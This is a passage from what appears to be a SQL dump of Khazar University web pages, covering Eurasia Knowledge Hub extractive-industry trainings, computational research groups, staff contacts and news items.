them</p><p>were logically related to “Extractive industries value chain”. The most significant areas covered were: contracts, EITI, budget, revenue management and SWF, issues of economy diversification. Lectors involved in this training were both local and international specialists. BP experts also held some sessions. In general, the training focused on practical activities and skill development and lots of labs and group works were held. Additionally, a trip to Sanghachal terminal was organized, one of the biggest terminals in the world, where the Baku-Tbilisi-Jeyhan main export oil pipeline begins.</p>\r\n<p><br></p><p><strong>On November 12, 2012</strong>&nbsp;the Eurasia Knowledge Hub held training on EITI basic<strong>&nbsp;</strong>course in Dushanbe, Tajikistan.&nbsp; About 35 representatives of energy companies, members of civil society participated in the training. The trainer Ingilab Ahmadov, Fuat Rasulov&nbsp; and RWI&nbsp; staff member Galib Efendiev delivered training sessions that covered topics on basic of EITI: requirements, the mechanism and benefits , process and stages, analyses of EITI report , evaluation of report\' quality and other areas.&nbsp; During the training, participants held interactive discussions about all the subjects that had been presented, and they divided into groups to perform specific tasks.  <br></p>  <p><br></p>  <p><br></p>    <p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#0000ff\"><strong><br></strong></span></p>\r\n<p><br></p>'),(645,427,'en','Contact Us','Contact Us','<img src=\"/files/social/thumbnail_15_10_14_15_06_04_khazar_location.jpg\" style=\"width:500px;height:243px;margin:7px;float:left\"> <br><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><strong>Khazar University (Neftchilar Campus)</strong></p><p>41 Mehseti Str.,&nbsp;AZ1096,&nbsp;Baku, Azerbaijan</p><p><br></p><p><strong><em>Administrative Assistant of LEC&nbsp;</em>&nbsp;– Valida Karimova&nbsp;</strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:vkerimova@khazar.org\">vkerimova[at]khazar.org</a>  </p><p><strong>Phone:</strong>&nbsp;(+994 12) 421 79 16 (213)</p>'),(719,511,'en','Representatives of Embassy of Iraq Visit Dunya School','On March 10, 2016, Dr. Fadhil Awad Al-Shuwaili, Charge d\'affaires of the Embassy of the Republic of Iraq, visited Dunya School, an affiliate of Khazar University. The visit was a follow-up to the meeting at the Embassy of Iraq held earlier this year and organized by the International Affairs Office in the framework of the recruitment plan for the 2016-2017 academic year.  ','<p>On March 10, 2016, Dr. Fadhil Awad Al-Shuwaili, Charge d\'affaires&nbsp;of the Embassy of\r\nthe&nbsp;Republic of Iraq, visited Dunya School, an affiliate of Khazar\r\nUniversity. The visit was a follow-up to the meeting at the Embassy of Iraq held earlier this year and organized by the\r\nInternational Affairs Office in the framework of the recruitment plan for the 2016-2017 academic year.&nbsp; </p>\r\n<p>Ms. Marufe Madatli, Dunya\r\nSchool Director, and Ms. Rena Hasanova, IB Program Coordinator, hosted Mr.\r\nFadhil Awad Al-Shuwaili and his translator Nemet Aghali. Ms. Madatli gave a presentation about the school, study\r\nprograms, organization of classes, extracurricular activities, and\r\nresources. Ms. Rena Hasanova spoke about the <a href=\"https://en.wikipedia.org/wiki/International_Baccalaureate_Organization\" title=\"International Baccalaureate Organization\">International Baccalaureate</a> Program\r\noffered at Dunya School and took the guests on a tour of the school. She also\r\ngave information about the upcoming events of the school and invited the guests\r\nto attend the events. </p>\r\n<p>Dr. Fadhil Awad\r\nAl-Shuwaili thanked the school representatives for the invitation and the tour\r\nand expressed his satisfaction with the school, its conditions, resources, and\r\nactivities. &nbsp;</p>'),(647,430,'en','Our Work','Our Work',''),(648,431,'en','2011','2011','<p><strong>Eurasia Hub, first training</strong></p><p>Khazar University and Revenue Watch Institute together with Eurasia Extractive Industries Knowledge Hub held a training titled “Hydrocarbon and Minerals - from Extraction to Sustainable Development” at Crescent Beach Hotel in Baku, Azerbaijan from February 15, 2011 to February 22, 2011. The objective of the training was to provide the audience with basic knowledge, tools and skills covering different aspects of the oil, gas, and mining industries. Fifteen civic society members from Mongolia, Kyrgyzstan, Kazakhstan and Azerbaijan attended this training.</p><p>During the training, participants learned about the EI value chain, contract analyzing, revenue management and transparency, budget advocacy, etc. On the third day of the training, participants had a field trip to the world’s biggest terminal, Sangachal. A trip to the city for sightseeing was organized as well.</p><p>It should be noted that the Eurasia EI Knowledge Hub aims at capacity building on extractive industries (oil and gas and mining), non-governmental organizations, civic society members, and media in the Eurasia region. The Hub organizes regular trainings and invites well-known international, regional, and local trainers as well as representatives of the organizations which are in need of these trainings such as NGO, media, and civic society members through a competitive selection process. The main teaching topics are oil and gas, mining industries’ contracts, EITI, budgeting, funds, and revenue management.</p><p>Most participants are invited from Kazakhstan, Kyrgyzstan, Mongolia and Azerbaijan, as well as other&nbsp;countries of the region such as Bulgaria, Romania, Albania, Ukraine and Afghanistan. The Eurasia EI Knowledge Hub is a part of Revenue Watch Institute’s long-term perspective strategy in this field, and together with other similar Hubs’ (Ghana-Africa,&nbsp;South America-Peru) cooperation,&nbsp;it intends to become an important training center in the Eurasia region.</p><p><br></p><p><img src=\"/files/demo/14_11_25_Value_chain%2C2011_3.JPG\" style=\"border:0px #000000;width:234px;height:175px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_ToT%2C2011.JPG\" style=\"border:0px #000000;width:229px;height:175px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_Value_chain%2C2011.JPG\" style=\"border:0px #000000;width:231px;height:175px;vertical-align:baseline\"></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#0000ff\"><strong>Eurasia Hub, second training</strong></span></p><p>The Eurasia Extractive Industries Knowledge Hub in Khazar University held a training titled “EITI essentials” at Crescent Beach Hotel in Baku, Azerbaijan from May 28, 2011 till May 30, 2011. The objective of the training was to provide the participants with basic knowledge, tools and skills covering EITI and negotiation process. Twenty-two members of CSO’s, media, parliament, government and company representatives from Bulgaria, Albania, Afghanistan, Georgia, Indonesia, Ukraine, Turkey and Tajikistan attended this training.</p><p>During the training participants gained knowledge about EITI purpose, governance, reporting, and choices in EITI, the role of CSO in EITI, EITI process, negotiation skills and EITI “beyond the basics issues.” All three days were filled with interactive training using appropriate materials and exercises. A trip to the city for sightseeing was organized as well.</p><p>Among the participants of this session, ten were from EITI candidate countries (Albania, Afghanistan and Indonesia) and most were CSO representatives. By applying knowledge and skills gained during the program, attendees will be able to engage more actively in EITI development processes in their home countries.</p><p>In the meantime, the other group country representatives have clearly demonstrated their intention to be involved in EITI; they were all highly motivated to learn strategies to further the process in their countries.</p><p>The participants collaborated attentively. Two international and two local trainers made the training interactive and engaging. In almost all sessions the participants found the examples/cases interesting, and engaged in and completed the assigned tasks.</p><p>At the onset of the training, participants were shown that they can play an important role in assisting and implementing the EITI process as they push EITI forward in their own countries.</p><p>The Eurasia Hub believes these trainings and the ensuing dialogue will continue to be an ongoing process.</p><p><br></p><p><img src=\"/files/demo/14_11_25_May%2C2011_1.jpg\" style=\"border:0px #000000;width:218px;height:171px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_May%2C2011_2.jpg\" style=\"border:0px #000000;width:261px;height:171px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_May%2C2011_3.jpg\" style=\"border:0px #000000;width:230px;height:171px;vertical-align:baseline\"><br></p>  <p><br></p>'),(651,439,'en','Computational Fluid Dynamics (CFD)','Computational Fluid Dynamics (CFD)','<div><br></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<img src=\"/files/demo/15_05_16_oil.jpg\" style=\"border:0px  #000000;width:384px;height:232px;vertical-align:text-bottom;margin-left:100px\"><br></div><div><strong><br></strong></div><div><strong>Introduction</strong></div><div>Computational Fluid Dynamics (CFD) translates mathematical equations into the language of computer to conduct numerical simulation of fluid flows, through numerical solution of governing laws of the movement of fluids. In other words, it creates a virtual environment as opposed to expensive and sometimes impossible experimental investigation, in order to predict behavior of fluids under different circumstances. Results of such simulations then can be visualized in a realistic fashion, with which engineering designs of different types of systems such as air conditioners, cars and spacecrafts can be more efficient and reliable. In this research group we plan to utilize this powerful tool to tackle variety of the challenges in modeling phenomena involving fluid flows.</div><div><strong><br></strong></div><div><strong>Current Research Project</strong></div><div><br></div><div>The Caspian sea is of grave importance in Azerbaijan\'s economy due to its rich oil resources and the fact that oil and gas production is the main source of &nbsp;income of the country. On the other hand, the Caspian sea is an enclosed system and its pollution can easily lead to defunct of the system. Furthermore, oil spill is one of the major sources of the sea\'s contamination. According to the Ministry of Ecology and Natural Resources of Azerbaijan “Majority of apparent accidents in the sea and its littoral is certainly connected with oil industry located here\".During oil production, oil spills are inevitable thus contingency planing plays a significant role in preventing contaminations caused by them. Moreover, prediction of fate of oil spills is one of tools that can contribute to more accurate and functional contingency plans. Prediction of behavior and fate of oil spill can be achieved by numerical simulations which is the main focus of the research group at the moment. Various tools and techniques are utilized to attain accurate results in less time. Interested students can contact <span style=\"color:#0066ff\">Mr. Taher Chegini</span> to inquire more information about this project and other CFD projects.</div>'),(650,438,'en','CLDOM','CLDOM','<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<img src=\"/files/demo/15_04_26_nano.jpg\" style=\"width:300px;height:200px\"></p>\r\n<p>&nbsp;</p>\r\n<p><span style=\"color:#0066ff\">CLDOM</span>, a part of Khazar Computing Research Center, offers\r\nseveral interesting opportunities for the young researchers to enter into the\r\nworld of computational modelling of materials. <span style=\"color:#0066ff\">CLDOM</span> stands for Computational\r\nLaboratory for Design and Optimisation of Materials. The major core themes of\r\nthe research of this computational research group are development &amp;\r\napplication of robust multi-scale simulation software for solid and liquid\r\nmatter simulation, &amp; computational nanomaterial design. On theoretical\r\nlevel, the group will develop the theory of computation of non-bonded\r\ninteractions that is expected to reduce the computational cost of Molecular\r\nDynamics Simulations (MD SIMULATIONS). On application level the group members\r\nwill in particular pursue research on the mechanism of cloud seeding, an\r\nartificial rain generation method, and gas hydrates in search for better oil\r\ntransportation efficiency.</p>\r\n<p>&nbsp;</p>\r\n<p>The group particularly welcomes the applications from Master\r\ndegree holders in Applied mathematics and Physics, with demonstrated\r\nprogramming skills. Oil and Gas Engineers with master degree with substantial\r\nmathematics and physics background and programming skills are also welcome.</p>\r\n<p>&nbsp;</p>\r\n<p>For enquiries please contact: <span style=\"color:#0066ff\">Dr. Jestin Mandumpal.</span></p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Members:</p>\r\n<p>&nbsp;</p>\r\n<p>Leader: <span style=\"color:#0066ff\">Dr.&nbsp;Jestin Mandumpal&nbsp;</span></p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p>\r\n<p>&nbsp;<img src=\"http://www.khazar.org/files/demo/15_03_06_Capture.JPG\" style=\"border:0px #000000;width:179px;height:195px;float:left;margin-right:10px\"></p>\r\n<p>&nbsp;Jestin Mandumpal</p>\r\n<p>&nbsp;Lecturer of Chemistry Department</p>\r\n<p>&nbsp;PhD in Computitional Chemistry</p>\r\n<p>&nbsp;Phone: +994 12 421 7916</p>\r\n<p>&nbsp;Email: <span style=\"color:#0066ff\">jmandumpal@khazar.org</span></p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Master Student: Yannick Agbor</p>\r\n<p>&nbsp;</p>\r\n<p><br></p>\r\n<p>&nbsp; &nbsp; &nbsp;&nbsp;<img src=\"/files/demo/15_12_04_yanick.jpg\" style=\"border:0px  #000000;width:200px;height:200px;float:left;margin-right:10px\">&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p>&nbsp;Yannick Agbor</p>\r\n<p>&nbsp;Master student of Petroleum Engineering, supported by a\r\nscholarship at Khazar University. He graduated with a Bsc degree in applied\r\nGeosciences and Petroleum Technology from the University of Buea, Cameroon.\r\nCurrently he is working towards for his master thesis at KCRC, on Molecular\r\nDynamic Simulation of methane hydrates. Outside of studies, I like playing\r\nfootball, dancing and networking.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Master Student: Usama Ahmed Khand</p>\r\n<p>&nbsp;<img src=\"/files/demo/16_02_10_usama.jpg\" style=\"width:184px;height:234px;margin-right:10px;float:left\"></p><p>&nbsp;Usama Ahmed Khand</p><p><br></p>\r\n<p>&nbsp;He is a M.Sc. candidate in Petroleum Engineering at Khazar University, graduated in from Mehran University of Engineering and Technology Pakistan in 2013. He is currently investigating the computer simulations of methane hydrates at KCRC. His other research interests include Downstream and Petroleum Production Technology, De-Liquefaction of Loaded up Wells and Injection Rate analysis in Gas Lift System.</p>'),(652,433,'en','People','People','<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p><img src=\"/files/demo/15_03_06_Capture.JPG\" style=\"border:0px #000000;width:150px;height:163px;float:left;margin:7px\"></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/JestinMandumpal_resume.pdf\">Jestin&nbsp;Mandumpal</a></p><p>Lecturer of Chemistry Department</p>\r\n<p>PhD in Computitional Chemistry</p>\r\n<p>Phone: +994 12 421 7916</p>\r\n<p>Email: <span style=\"color:#0066ff\">jmandumpal@khazar.org</span></p>\r\n<p>Research Group: CLDOM</p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p><img src=\"/files/demo/14_12_25_Javad_Mehri-1.jpg\" style=\"border:0px #000000;width:150px;height:189px;margin:7px;float:left\"></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Javad_Mehri.pdf\">Javad Mehri-Tekmeh</a></p>\r\n<p>Coordinator of Computer Science Department</p>\r\n<p>PhD in Applied Mathematics</p>\r\n<p>Phone: +994 12 421 7916&nbsp;\r\nExt-227</p>\r\n<p>Email: <span style=\"color:#0066ff\">jmehri@khazar.org</span></p>\r\n<p>Research Group: Network Theory</p><p> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p>\r\n<p>&nbsp;<img src=\"/files/demo/15_01_06_tchegini.jpg\" style=\"border:0px  #000000;width:150px;height:214px;margin:7px;float:left\"></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/TChegini-Resume.pdf\">Taher Chegini</a></p>\r\n<p>Instructor at Civil Engineering Department</p>\r\n<p>M.Sc. in Hydraulic Engineering</p>\r\n<p>Phone: +994 12 421 7916&nbsp;\r\nExt-264</p>\r\n<p>Email: <span style=\"color:#0066ff\">tchegini@khazar.org</span></p>\r\n<p>Research Group: CFD</p><p> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p><img src=\"/files/demo/14_12_24_Irada_khalilova_2.jpg\" style=\"border:0px #000000;width:150px;height:159px;margin:7px;float:left\"></p>\r\n<p>&nbsp;<a href=\"http://www.khazar.org/files/pdf/Irada_Khalilova.pdf\">İrada Khalilova</a></p>\r\n<p>Head of Biological Sciences Department</p>\r\n<p>PhD in Biological Sciences </p>\r\n<p>Phone: +994 12 421 7916&nbsp;\r\nExt-214</p>\r\n<p>Email: <span style=\"color:#0066ff\">ikhalilova@khazar.org</span></p>\r\n<p>Research Group: Computational Biology</p>\r\n<p><br></p>\r\n<p>&nbsp;<img src=\"/files/demo/15_04_29_14_09_26_Capture1.jpg\" style=\"border:0px  #000000;width:150px;height:234px;margin:7px;float:left\"></p>\r\n<p>Mohammad Mehdi Zarei</p>\r\n<p>Instructor at Chemical and Petroleum Engineering Department</p>\r\n<p>M.Sc. in Chemical Engineering</p>\r\n<p>Phone: +994 12 421 7916</p>\r\n<p>Email: <span style=\"color:#0066ff\">mzarei@khazar.org</span></p>\r\n<p>Research Group: Process Modeling</p><p><br></p>\r\n<p><br></p>\r\n<p><br></p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>  <p><br></p>'),(653,434,'en','Prospective Students','Prospective Students','<h3><strong>Current Open Positions</strong></h3><p><strong>1</strong>- A full time PhD Position is available for an Azerbaijani National in the research group of Dr. Jestin B. Mandumpal (Computational Laboratory for Design and Optimisation of Materials, &nbsp;CLDOM). Intrested students should send the following to Dr. Jestin B. Mandumpal:</p><p>A motivation letter stating why you are interested in the project</p><p>CV with photograph</p><p>Names of at least two reference contacts</p><p>Details of the position can be found here.</p><p><strong>2</strong>- A full time PhD Position is available in computational biology research group . Intrested students should contact Dr. İrada Khalilova. Details of the position can be found here.</p>'),(2497,1510,'az','Potensial məktəb direktorları layihəsi davam edir','Xəzər Universitetinin 2014-cü ilin sentyabrından başlayaraq, UNICEF (BMT Uşaq Fondu) və Təhsil Nazirliyinin maliyyə dəstəyi ilə birgə həyata keçirdiyi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin 2014-cü ilin sentyabrından\r\nbaşlayaraq, UNICEF (BMT Uşaq Fondu) və Təhsil Nazirliyinin maliyyə dəstəyi ilə\r\nbirgə həyata keçirdiyi “Potensial məktəb direktorları” layihəsində təcrübəsini,\r\nbu layihə çərçivəsində keçirilən təlimlərin uğurla başa çatmasını, xeyli sayda\r\npedaqoqun sözügedən təlimlərdə iştirakla bağlı çoxsaylı müraciətlərini nəzərə\r\nalaraq və Xəzər Universiteti Nizamnaməsinin 1.27 maddəsini rəhbər tutaraq,\r\nPotensial məktəb direktorları layihəsini yeni V turda 43 nəfərlə davam etdirir.\r\nDərslər həftənin üç günü “Neftçilər” kampusunda keçirilir. Artıq 323 nəfəri təlim\r\netmiş proqram davamlı olaraq, İnkişaf proqramı kimi ümumtəhsil müəllimlərinin\r\ngeniş marağına səbəb olmuşdur. &nbsp;</p>'),(654,444,'en','Radio Khazar','Radio Khazar','<div>Since 2009, Khazar University has been broadcasting from the Voice of Khazar internet radio. Its 24-hour, world-wide broadcasts present national music of various styles, classical music, discussions andinterviews, poetry, guest actors, news, and other programs. This is Azerbaijan’s first university radiostation. DJs are students of Khazar University.</div><div><br></div><div>See the website at <a href=\"http://www.radiokhazar.org/\">Khazar University Radio</a>.&nbsp;</div>'),(655,443,'en','2013','2013','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Eurasia Hub’s Events in 2013</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">In 2013 Eurasia Hub has delivered a number of courses in some Eurasian countries, based on the country needs.<strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>On December 13-14</strong>&nbsp;Revenue Watch Institute and Global Organization of Parliamentarians Against Corruption organized the first Regional Workshop of Parliamentarians of Eurasia. 19 MPs and MP assistants from Azerbaijan, Kazakhstan, Russia, Mongolia and Kyrgyzstan participated at this regional event where the topic was “Managing Oil, gas and mineral resources”.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">RWI staff members Galib Efendiyev, Femke Broumer, Andrew Bauer and Eurasia EI Knowledge HUB&nbsp; director Ingilab Ahmadov covered topics on Value Chain, Resource Governance Index and places of countries from Eurasia Region in RGI, Managing and Distributing Extractive Revenues, Budget Cycle and Extractive, as well as Natural Resource Funds.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The groups of mixed country representatives participated on practical sessions, where country profiles of RGI, Natural Resource Fund of Kazakhstan, Revenue Management in Azerbaijan were discussed. Resource Governance Index recommendations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">There were active debates and discussions&nbsp; on Natural Resource Fund transparency and independent oversight. Case of Kazakhstan was discussed and MPs shared their opinions on how oil money could be managed, spent and invested.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">On the second day of the workshop Eurasia EI Knowledge Hub director, Dr. Ingilab Ahmadov made a presentation on extractives and budget cycle. In practical session participants were asked on their opinion on budget offices at parliaments.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p>  <img src=\"/files/demo/14_11_25_2013_1_1.jpg\" style=\"border:0px  #000000;width:230px;height:174px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_1_2.jpg\" style=\"border:0px  #000000;width:230px;height:174px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_1_3.jpg\" style=\"border:0px  #000000;width:230px;height:174px;vertical-align:baseline\"><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p><strong>On November 21-23rd</strong>&nbsp;Eurasia Extractive Industries Knowledge Hub organized training on “EITI new Standards” in Issyk Kul, Kyrgyzstan. Trainers Ingilab Ahmadov and Fariz Ahmadov delivered topics on “Place of EITI in Value Chain”, “Conception and practice of application of New Standards”, “Reporting within new Standards”, “Typical mistakes in completion of reporting forms”, as well as “Opportunities of establishment of Sovereign Wealth Fund in Kyrgyzstan”.</p><p>The training was attended by medium and high ranked officials from the Ministry of Economy, Ministry of Finance, Ministry of Energy, State Agency on Geology, Members of the Parliament, representatives of local authorities, EITI Secretariat, as well as independent consultants and experts. More than 40 people participating in practical sessions analyzed new Standards and also problems existing in decision making within different agencies, for example issuing license on field development and further control.</p><p>In this training Eurasia Hub applied ToT method and used trainer and expert potential of HUB in Kyrgyzstan. Such, 2 alumni of the Hub participated in training providing, and 4 others delivered their expertise on extractive sector and main problems on transparency in Kyrgyzstan.</p><p><br></p></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/demo/14_11_25_2013_2_1.jpg\" style=\"border:0px  #000000;width:230px;height:174px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_2_2.jpg\" style=\"border:0px #000000;width:230px;height:172px;margin-top:0px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_2_3.jpg\" style=\"border:0px  #000000;width:230px;height:174px;vertical-align:baseline\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p><strong>In accordance with the strategy of Khazar University Eurasia Knowledge Hub, a routine event called “Training Trainers” held for the graduates who had demonstrated the best results in the training events that were held by the center in 2013.</strong></p><p>The training was conducted by qualified instructors of the GRBS training center on 11-13 November in Baku. The purpose of the event was to built graduates’ skills and capacity in the field of training and to train new trainers in extractive industries in Eurasia.</p><p>During the training event, 8 participants from 4 countries-- Azerbaijan, Kazakhstan, Kyrgyzstan and Ukraine -- gained valuable knowledge on needs assessment, development of a training program, training methods, preparation of professional presentations, management questions and answers, audience management, work with challenging participants, evaluation, and so on. At the end of the training, based on their newly-acquired knowledge, participants prepared and presented training programs.</p><p>Eurasia Knowledge Hub held this “Training Trainers” course for the third time. A total of 22 new trainers of Eurasia Knowledge Hub have been prepared.&nbsp; With their help, the Center organizes large-scale training events in 13 countries involved in extractive industries in the Eurasia region.</p><p><img src=\"/files/demo/14_11_25_2013_3_2.jpg\" style=\"border:0px  #000000;width:230px;height:174px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_3_1.jpg\" style=\"border:0px  #000000;width:230px;height:174px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_3_3.jpg\" style=\"border:0px  #000000;width:230px;height:174px;vertical-align:baseline\"><br></p><p><br></p><p><strong>On September 21-23, 2013</strong>&nbsp;the Eurasia Knowledge Hub together with Revenue Watch Institute (RWI), Publish What You Pay (PWYP) and International Business and Economic Development Center in Batumi,&nbsp; Georgia organized a Regional Workshop for CSO representatives of nine countries of the Eurasia Region. This was the first regional event after adoption of the New EITI Standard in Sydney this year.<br>Representatives from Azerbaijan, Albania, Mongolia, Moldova, Georgia, Kazakhstan, Kyrgyzstan, Tajikistan, and Ukraine participated at the workshop. The first two days of the event were devoted to capacity building on New Standards. The training resulted in civil society identifying key national priority areas to advance implementation of the new EITI standard. Common issues centered around a public registry of licenses as well as a transparent license tender process, volume of production, better disclosure of information from state-owned companies, contract transparency, beneficial ownership as well as more information on how the revenues are allocated in the national budgets.  <br></p><p><br></p><p><img src=\"/files/demo/14_11_25_2013_4.jpg\" style=\"border:0px #000000;width:300px;height:193px;float:left;margin-right:10px\">&nbsp;&nbsp;<span style=\"line-height:15px;text-align:justify;color:#0000ff\"><strong>In August 22-24, 2013</strong></span><span style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;the Eurasia Knowledge Hub held training &nbsp;on “Revenue management\" in Kazakhstan.</span><strong style=\"color:#3a3b3b;line-height:15px;text-align:justify\">&nbsp;</strong><span style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">The training was held in Almaty, but also attended by researchers from Astana,&nbsp; Shymkent and Semipalatinsk. The trainer Ingilab Ahmadov delivered training sessions that covered topics on value chain and revenue management in this chain, modules on revenue management,</span></p><p><span style=\"line-height:15px;text-align:justify;color:#0000ff\"><strong></strong><strong></strong></span></p><p>practices of numerous countries, sovereign wealth funds, including the fiscal rules applied in management of revenues and studies of oil revenues. Additionally, the participants were told about comparative analysis of experiences of both Azerbaijan and Kazakhstan on revenue management and toolkit developed by Revenue Watch Institute.</p>  <br>    <br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/demo/14_11_25_2013_5.jpg\" style=\"border:0px #000000;width:300px;height:225px;float:left;margin-right:10px\">&nbsp;<strong>In July 11-13, 2013</strong>&nbsp;the Eurasia Knowledge Hub held 3-day training for Kosovo stakeholders on “Extractive Industries Value Chain\" in Durres, Albania. There were 25 participants in the training, including MP’s, Government officials, local extractive company representatives, media and CSO’s. The course was organized by Kosovo Foundation for Open Society. Eurasia Hub trainers Ingilab Ahmadov and Kenan Aslanli delivered presentation sessions and practical work on extractive<p>industries value chain, EITI new standards, reporting, and macroeconomic framework for resource-rich countries, Sovereign Wealth Funds, revenue management, revenues distribution at the sub-national level, state oil and gas companies, budgeting and budget advocacy were provided.</p>  <p><span style=\"line-height:15px;text-align:justify;color:#0000ff\"><strong><br></strong></span></p><p><span style=\"line-height:15px;text-align:justify;color:#0000ff\"><strong>On July 4-6, 2013</strong></span><span style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">, the Khazar University Eurasia Knowledge Hub held a routine 3-day training on “Revenue management and economic diversification in the petroleum rich countries\" in Baku, Azerbaijan.</span></p><p>There were about 20 participants in the event, including representatives of research institutes, universities, government agencies, media, and civil society from 6 countries - Azerbaijan, Russia, Ukraine, Kazakhstan, Kyrgyzstan and Tajikistan.</p><p>During the training, presentations on revenue management, macroeconomic framework for resource-rich countries, Sovereign Wealth Funds, revenue management, revenues distribution at the sub-national level, state oil and gas companies, economic and export diversification and its measurement, from economic diversification to sustainable development, and more were made. Interactive discussions were held on all the topics that had been presented, and participants were divided into groups to perform specific tasks in group work.</p><p>Course has been conducted according to the program developed by the experts of the Revenue Watch Institute.</p><p>Participants were evaluated on daily base by trainers during the whole training. The alumni who earned the highest results from their evalutions will be invited to a \"Training for Trainers\" traditionally organized at the end of the year by Eurasia Knowledge Hub.&nbsp;<strong>&nbsp; &nbsp;</strong></p>  <img src=\"/files/demo/14_11_25_2013_6_1.jpg\" style=\"border:0px #000000;width:230px;height:152px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_6_2.jpg\" style=\"border:0px #000000;width:230px;height:152px;vertical-align:baseline\">&nbsp;&nbsp;<img src=\"/files/demo/14_11_25_2013_6_3.jpg\" style=\"border:0px #000000;width:230px;height:152px;vertical-align:baseline\"></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div><img src=\"/files/demo/14_11_25_2013_7.jpg\" style=\"border:0px #000000;float:left;width:300px;height:201px;margin-right:10px\"><strong style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</strong><strong style=\"font-family:\'times new roman\', times, serif;font-size:medium\">From June 24<sup>th</sup>&nbsp; to July 2</strong><sup style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>nd</strong></sup><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;,&nbsp;Eurasia Hub with the cooperation of Revenue Watch Institute (US) organized a summer school on “Economic Diversification and Sustainable Development in</span><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Petroleum Rich Countries” at the School of Economics and Management of Khazar University. The course was delivered&nbsp; by the dean of the School of 